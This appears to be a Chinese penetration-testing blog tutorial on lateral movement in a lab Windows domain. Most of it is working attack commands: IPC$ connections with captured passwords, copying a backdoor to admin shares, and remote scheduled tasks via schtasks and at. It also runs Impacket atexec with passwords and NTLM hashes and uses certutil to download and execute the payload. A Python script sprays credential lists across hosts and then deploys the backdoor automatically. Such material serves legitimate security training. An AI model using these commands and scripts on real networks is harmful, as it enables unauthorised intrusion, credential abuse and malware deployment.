前言
前面基本把隧道的知识都讲完了,现在讲一下横向移动的知识。那什么是横向移动,假如我们现在已经获取了web服务器的控制权,那么此时我们通过web服务器去获得其它内网主机的一个权限就叫横向移动。横向移动在内网渗透中也是很重要的,结合前面的隧道一起使用往往有出其不意的效果。
实验环境
简单搭建了一个域环境,只有web服务器才是出网的,其它的内网主机包括DC都是不出网的。这里的不出网是指连百度百度都ping不通,而不是封杀了tcp协议。
web服务器:192.168.145.138,192.168.22.31
DC域控:191.168.22.30
内网主机1:192.168.22.28
内网主机2:192.168.22.29
内网信息收集
因为我们讲的是内网横移的知识,所有这里默认取得web服务器权限了,也就是上线到CS了,下面对其内网进行一波信息收集。
对网段信息进行一个探测,发现有个22网段估计是内网。
再判断一下是否有域,正常返回说明存在域环境,且域控的计算机名字为DC.god.local。
net time /domain
进行端口扫描,网段选我们的内网网段。端口随便搞一个,主要是探测一下内网主机的ip。
到目标列表中我们可以看到存在的内网主机ip,31是我们的web服务器。
IPC横移
IPC(Internet Process Connection)共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,利用条件是目标主机得开启了135、445端口才行。先把web服务器提权到system。
然后抓取明文密码,在密码凭证可以看到我们抓取的密码。
IPC横移首先要建立IPC连接,这里你可以输入命令来建立,也可以直接用CS的插件,都是一样的。插件的话就直接输入目标主机的ip和账号密码就行,这个账号密码就是我们刚刚抓取的。
命令横移,其实都是一样的,使用插件的话也是通过执行命令来达到横移的。
建立IPC连接:
net use \\191.168.22.30\ipc$ "#Root123" /user:"administrator"
查看连接是否建立:
net use
断开连接:
net use \\x.x.x.x\ipc$ /del
正向连接上线CS
现在我们成功与30主机建立了IPC连接,该如何让它上线到我们的CS。我们可以生成一个正向的后门,然后通过我们的web服务器去连接它,以此来达到上线CS的目的。先把后门上传到web服务器,输入命令成功上传到当前目录。
upload C:\Users\user\Desktop\2222.exe
通过IPC连接,把我们的后门传输到30主机C盘中。
copy 2222.exe \\192.168.22.30\c$
schtasks命令创建定时任务
创建计划任务(windows版本<2012用at命令、Windows版本>=2012用schtasks),30主机系统版本大于windows2012,用这个命令创建任务。
//创建一个运行2222.exe名为test的任务
schtasks /create /s 192.168.22.30 /ru "SYSTEM" /tn test /sc DAILY /tr c:\2222.exe /F
然后出现了这个问题,查了一下说是由于权限不够???但是我都提权到system了,为啥还会权限不够,有懂的大佬可以和我说一下么。
我干脆直接到web服务器上面去执行命令了,只要懂这个方法就好。以管理员身份运行一个cmd,居然可以执行,太奇怪了。
我心不死,我又试了试下面这个命令。居然又可以了,这和上面的命令不是一样的嘛,太奇怪了。
schtasks /create /s 192.168.3.32 /U administrator /P Admin12345 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\bindtcp-2222.exe /F
接下来是运行任务,到30主机上面看看进程,发现确实运行了。
schtasks /U administrator /P #Root123 /run /s 192.168.22.30 /tn test /i
输入命令连接即可上线CS,如果没上线的话,大概率是端口问题。
connect 192.168.22.30 2222
at命令创建定时任务
29这台主机版本小于2012,我们用at命令创建一个定时任务,IPC建立连接和后门传输我就跳过了。先查看29主机的时间,方便我们添加定时任务。
net time \\192.168.22.29
添加定时任务,这里奇怪的问题又来了,在CS上执行命令又显示拒绝访问,明明我都是system权限了。我还是直接到web服务器上面执行命令,又可以了,逆天环境。
at \\192.168.22.29 21:53 c:\2222.exe //53分的时候运行2222.exe
等到54分的时候我们查看一下29主机的进程,成功运行我们的后门。
接下来就是输入命令连接即可上线CS。
connect 192.168.22.29 2222
反向连接上线CS
正向上线说完了,简单说一下反向上线。假如我们要让30主机反向上线到CS,那么反向连接到谁呢,是web服务器还是CS服务端。答案肯定是反向连接到web服务器啦,CS服务端虽然在公网,但是30是不出网的呀牢弟,不出网咋找得到CS服务端。web服务器开启转发上线,生成监听器。
利用这个监听器生成后门,建立IPC连接->传输后门->添加定时任务这些就不说了。把后门弄到30主机上,然后运行即可看到上线CS。
Impacket套件
该工具是一个半交互的工具,适用于Webshell下,Socks代理下。在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试。简单来说就是这个套件包含有很多横移的脚本以及程序,比如当我们需要IPC横移的时候,可以用直接利用脚本自动化建立连接,然后自动上线啥的。就不要我们一条一条命令地敲,适用于对方具有庞大的内网结构。这个工具分为py版和exe版。
py版:Releases · fortra/impacket · GitHub
exe版:RichChigga/impacket-examples-windows (gitee.com)
exe版使用
exe版的话就是要上传到目标主机才能使用,就比如说你想通过web服务器和30主机建立IPC连接,你就得把exe上传到web服务器。但是在现实中这个显然是不太可能的,因为exe有5MB左右太大了,别人一眼就发现了。这里就演示一下,先上传到web服务器。
直接执行命令whoami,成功返回结果。
atexec.exe god/administrator:#Admin123@192.168.22.30 “whoami” //以域用户去连接
atexec.exe ./administrator:#Admin123@192.168.22.30 “whoami” //以对方本地用户去连接
在CS上执行也是一样的。
不仅支持明文连接还支持hash连接。
atexec.exe -hashes :ae7cb5a96c2a31d4c66be99737f48f8c god/administrator@192.168.22.30 "whoami"
既然都能执行命令了,那我们执行用命令下载个后门不就行了。先生成命令,这个2222就是前面我们生成的正向后门。
CS执行命令。
atexec.exe god/administrator:#Root123@192.168.22.30 "certutil.exe -urlcache -split -f http://192.168.22.31:80/2222.exe 2222.exe"
直接到30主机的system32目录看看,发现后门已经下载成功。
然后执行我们的后门,默认是在system32目录下面的。
shell atexec.exe god/administrator:#Root123@192.168.22.30 ".\2222.exe"
再在web服务器连接30主机即可上线CS。
py版使用
py脚本的话就比较小,适合上传到目标主机上去运行。但是对方主机得有py环境才行,你不可能又到对方主机上面安装py环境吧。这咋办,前面学的隧道知识就可以用起来啦。假如我们要控制30主机,那我们直接在web服务器开个socks代理,然后本地挂上proxifier不就可以成功访问30啦。
挂上proxifier之后浏览器访问一下看看,成功访问到30。
使用脚本建立连接试一下,也是成功了。
atexec.py god/administrator:#Root123@192.168.22.30 "whoami"
这里有人可能会有疑惑,万一对面内网有大量的账号密码,一个一个去试试,太慢啦咋办。这个简单嘛,你直接写个py脚本让自动跑命令不就行了。
import os
ip = ['192.168.22.30','192.168.22,29','192.168.22.28']
user = ['wlwnb666','administrator','weige']
passwd = ['#Root123','#Admin123','#123Admin']
for ipp in ip:
for userr in user:
for passwdd in passwd:
ipc_exec = 'D:\内网穿透\impacket-0.11.0\examples\\atexec.py god/%s:%s@%s "whoami"'%(userr,passwdd,ipp)
os.system(ipc_exec)
print(ipc_exec)
执行脚本,要是账号密码对了便会返回命令执行的结果,这样子我们就可以知道哪台主机对应哪个账号密码啦。
也可以利用脚本实现自动化上线,把原来脚本上的命令换一下即可。运行脚本之后,就会自动上线CS。
import os
ip = ['192.168.22.30','192.168.22,29','192.168.22.28']
user = ['wlwnb666','administrator','weige']
passwd = ['#Root123','#Admin123','#123Admin']
for ipp in ip:
for userr in user:
for passwdd in passwd:
ipc_exec1 = 'python D:\内网穿透\impacket-0.11.0\examples\\atexec.py god/%s:%s@%s "certutil.exe -urlcache -split -f http://192.168.22.31:80/2222.exe 2222.exe"'%(userr,passwdd,ipp)
ipc_exec2 = 'python D:\内网穿透\impacket-0.11.0\examples\\atexec.py god/%s:%s@%s ".\\2222.exe"' % (userr, passwdd, ipp)
print(ipc_exec1)
print(ipc_exec2)
os.system(ipc_exec1)
os.system(ipc_exec2)
总结
以上便是IPC横移的知识。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。